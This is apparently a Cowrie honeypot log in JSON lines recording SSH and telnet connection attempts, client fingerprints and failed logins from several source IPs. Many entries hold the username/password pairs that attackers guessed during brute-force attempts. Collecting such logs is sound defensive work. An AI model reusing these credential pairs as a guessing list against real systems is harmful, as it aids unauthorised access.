{"eventid":"cowrie.login.failed","username":"root","fingerprint":"5f:0a:24:db:46:a3:66:b0:c2:73:7d:22:34:d9:81:e5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDECydNGDCgUri2VCAuSS6+jkXSecTafw5sI2pvleC8RgmEwVFnBAv7HYTrnBM7ptqt3nTJ64RpnSdAhbbI9N6bXzhtwl/frp5yRIbL9PX2RBgIC/bsFtsbKeARhQRmEMr3c/awvMHanF9D0GoycQvrRdslNujk1v+1genIsVEvpgP9OuETAFL25BDJil+z/Cn627EMXHyHtA+qHQOsx8G0TdINPwzTAfaVMBuQripNbbvZlV6928D7A8pRbKroxbV6j5JYIkV65DOmblBQPVIE4EQSDQk3C1V4fDlEQAf/aYj586Yl3kkNuXkgtWvV3GmXUxM5SMDj8z4uJagWl97XbMHXA0+jfGz3t/JpurzTKIbcgSMGHPgHxLfvlCpeJiNvIti58pi9GWYBVYkzpm2jHwy0jMXagmxNSY+iaS/4x3tEsmNb/4aF5y7NCe8591BgpWm1p5gGrsq3uWGv2Xhq+L+V3/toKOSiWF2Ma3o5+gKAhgZic1M2hOlp02iAHbXDkzAvCyIpx/h2SQjwsHhEHdnX1l35+pK8KWzmiWB6pNRj20c5IuCdAqY/YEDs952edzVwXrYuVPmHhmMRXEC62oClkIjPRIbGlQFFFmjdzeDXMtYsaIySKz6wjmNRDdTw8L6r7XPQ9wl4GVMKZMmxJmXwq+je3BSeAI8asSbcmQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:42:00.379689Z","src_ip":"172.110.221.82","session":"9aa29f3f1847","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a6:9a:3e:47:ea:bb:11:3d:2e:44:0c:91:89:17:06:de","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC81KKXw5bvqh3DWonY3+ZMAxi5nqmBis1xT6t37WipGPVmiDQvj2lK8hCUwPMXFfJMn1nNz/iw4LKSn7w3Uz5vPpax7HO13b3XwYPa8pHkyvy+fJSESESVYGquhYocJcjfiY1LdsaE3aJomTHU6jLPAQwZQGQbI9pJi/BXbj4Rk00oRMyQhwKABmI51ubfnjm2kWyE9ULWEKHJpTd1k95HEBM7jvFblPql36Rj7mZxfEPkP0jtgUcRNJXfCIEvZBV6OLckAdglFAIfaOFLLdcW+By6enHPhfUjrz2zBVRVl2bhoY/k+Y3+TpY6GiRxPvLp8C+vNsOySDG01tFcQMoV","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a6:9a:3e:47:ea:bb:11:3d:2e:44:0c:91:89:17:06:de","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:42:00.482044Z","src_ip":"172.110.221.82","session":"9aa29f3f1847","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a6:9a:3e:47:ea:bb:11:3d:2e:44:0c:91:89:17:06:de","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC81KKXw5bvqh3DWonY3+ZMAxi5nqmBis1xT6t37WipGPVmiDQvj2lK8hCUwPMXFfJMn1nNz/iw4LKSn7w3Uz5vPpax7HO13b3XwYPa8pHkyvy+fJSESESVYGquhYocJcjfiY1LdsaE3aJomTHU6jLPAQwZQGQbI9pJi/BXbj4Rk00oRMyQhwKABmI51ubfnjm2kWyE9ULWEKHJpTd1k95HEBM7jvFblPql36Rj7mZxfEPkP0jtgUcRNJXfCIEvZBV6OLckAdglFAIfaOFLLdcW+By6enHPhfUjrz2zBVRVl2bhoY/k+Y3+TpY6GiRxPvLp8C+vNsOySDG01tFcQMoV","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:42:00.485159Z","src_ip":"172.110.221.82","session":"9aa29f3f1847","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:42:00.588751Z","src_ip":"172.110.221.82","session":"9aa29f3f1847","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.92797255516052,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:42:09.975986Z","src_ip":"170.64.224.25","session":"ea9991da6dcf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.176","src_port":57738,"dst_ip":"10.17.0.5","dst_port":22,"session":"b97bc5d09d8e","protocol":"ssh","message":"New connection: 91.92.40.176:57738 (10.17.0.5:22) [session: b97bc5d09d8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:42:13.788176Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:42:13.793394Z","src_ip":"91.92.40.176","session":"b97bc5d09d8e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:42:13.880496Z","src_ip":"91.92.40.176","session":"b97bc5d09d8e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":49502,"dst_ip":"159.203.135.109","dst_port":23,"session":"9297cb4702d5","protocol":"telnet","message":"New connection: 107.6.151.170:49502 (159.203.135.109:23) [session: 9297cb4702d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:42:14.283864Z"}
{"eventid":"cowrie.login.failed","username":"user","password":"qwerty","message":"login attempt [user/qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:42:14.634298Z","src_ip":"91.92.40.176","session":"b97bc5d09d8e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:42:15.826167Z","src_ip":"91.92.40.176","session":"b97bc5d09d8e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":45652,"dst_ip":"159.203.135.109","dst_port":23,"session":"fb47ed971f33","protocol":"telnet","message":"New connection: 107.6.151.170:45652 (159.203.135.109:23) [session: fb47ed971f33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:42:21.516968Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":52868,"dst_ip":"159.203.135.109","dst_port":23,"session":"feacc64462ba","protocol":"telnet","message":"New connection: 107.6.151.170:52868 (159.203.135.109:23) [session: feacc64462ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:42:24.529834Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.36.147.215","src_port":54662,"dst_ip":"10.17.0.5","dst_port":22,"session":"37209af6f48f","protocol":"ssh","message":"New connection: 194.36.147.215:54662 (10.17.0.5:22) [session: 37209af6f48f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:42:27.217767Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:42:27.222221Z","src_ip":"194.36.147.215","session":"37209af6f48f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:42:27.311559Z","src_ip":"194.36.147.215","session":"37209af6f48f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bitget","password":"bitget456","message":"login attempt [bitget/bitget456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:42:27.580915Z","src_ip":"194.36.147.215","session":"37209af6f48f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:42:28.673180Z","src_ip":"194.36.147.215","session":"37209af6f48f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":55324,"dst_ip":"159.203.135.109","dst_port":23,"session":"c762d5a80e45","protocol":"telnet","message":"New connection: 170.64.224.25:55324 (159.203.135.109:23) [session: c762d5a80e45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:42:43.105164Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.242.143.220","src_port":53340,"dst_ip":"10.17.0.5","dst_port":22,"session":"f289302072f9","protocol":"ssh","message":"New connection: 38.242.143.220:53340 (10.17.0.5:22) [session: f289302072f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:42:47.116395Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:42:47.123692Z","src_ip":"38.242.143.220","session":"f289302072f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":22.598220586776733,"message":"Connection lost after 22 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:42:47.127932Z","src_ip":"107.6.151.170","session":"feacc64462ba","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:42:47.246531Z","src_ip":"38.242.143.220","session":"f289302072f9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"estonia","password":"Tallinn#Crypto$S3cur3!","message":"login attempt [estonia/Tallinn#Crypto$S3cur3!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:42:47.653623Z","src_ip":"38.242.143.220","session":"f289302072f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:42:48.809710Z","src_ip":"38.242.143.220","session":"f289302072f9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.244.39.224","src_port":41104,"dst_ip":"10.17.0.5","dst_port":22,"session":"b49caab965fc","protocol":"ssh","message":"New connection: 190.244.39.224:41104 (10.17.0.5:22) [session: b49caab965fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:42:53.125735Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:42:53.133671Z","src_ip":"190.244.39.224","session":"b49caab965fc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:42:53.303046Z","src_ip":"190.244.39.224","session":"b49caab965fc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"blahblah","message":"login attempt [root/blahblah] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:42:53.966536Z","src_ip":"190.244.39.224","session":"b49caab965fc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:42:55.138676Z","src_ip":"190.244.39.224","session":"b49caab965fc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.1232852935791,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:42:55.407007Z","src_ip":"107.6.151.170","session":"9297cb4702d5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.209.169","src_port":46022,"dst_ip":"159.203.135.109","dst_port":23,"session":"35ec246e4f57","protocol":"telnet","message":"New connection: 128.199.209.169:46022 (159.203.135.109:23) [session: 35ec246e4f57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:43:07.467228Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.144.64.128","src_port":33698,"dst_ip":"10.17.0.5","dst_port":22,"session":"02049cb8994b","protocol":"ssh","message":"New connection: 162.144.64.128:33698 (10.17.0.5:22) [session: 02049cb8994b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:43:07.901718Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:43:07.906076Z","src_ip":"162.144.64.128","session":"02049cb8994b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:43:07.989839Z","src_ip":"162.144.64.128","session":"02049cb8994b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"G3m1n1!Tr0ng#P@ss","message":"login attempt [root/G3m1n1!Tr0ng#P@ss] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:43:08.237996Z","src_ip":"162.144.64.128","session":"02049cb8994b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.15418291091919,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:43:08.671059Z","src_ip":"107.6.151.170","session":"fb47ed971f33","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:43:09.606307Z","src_ip":"162.144.64.128","session":"02049cb8994b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.41091704368591,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:43:15.515932Z","src_ip":"170.64.224.25","session":"c762d5a80e45","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.109.189.255","src_port":45214,"dst_ip":"159.203.135.109","dst_port":22,"session":"b861a19fa632","protocol":"ssh","message":"New connection: 208.109.189.255:45214 (159.203.135.109:22) [session: b861a19fa632]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:43:54.167475Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:43:54.171638Z","src_ip":"208.109.189.255","session":"b861a19fa632","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:43:54.240251Z","src_ip":"208.109.189.255","session":"b861a19fa632","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"M10t@#S3cur3!W0rd","message":"login attempt [root/M10t@#S3cur3!W0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:43:54.437684Z","src_ip":"208.109.189.255","session":"b861a19fa632","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:43:55.504912Z","src_ip":"208.109.189.255","session":"b861a19fa632","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.176","src_port":32978,"dst_ip":"10.17.0.5","dst_port":22,"session":"b9ceec4a0d39","protocol":"ssh","message":"New connection: 91.92.40.176:32978 (10.17.0.5:22) [session: b9ceec4a0d39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:44:30.794503Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:44:30.809859Z","src_ip":"91.92.40.176","session":"b9ceec4a0d39","protocol":"ssh"}
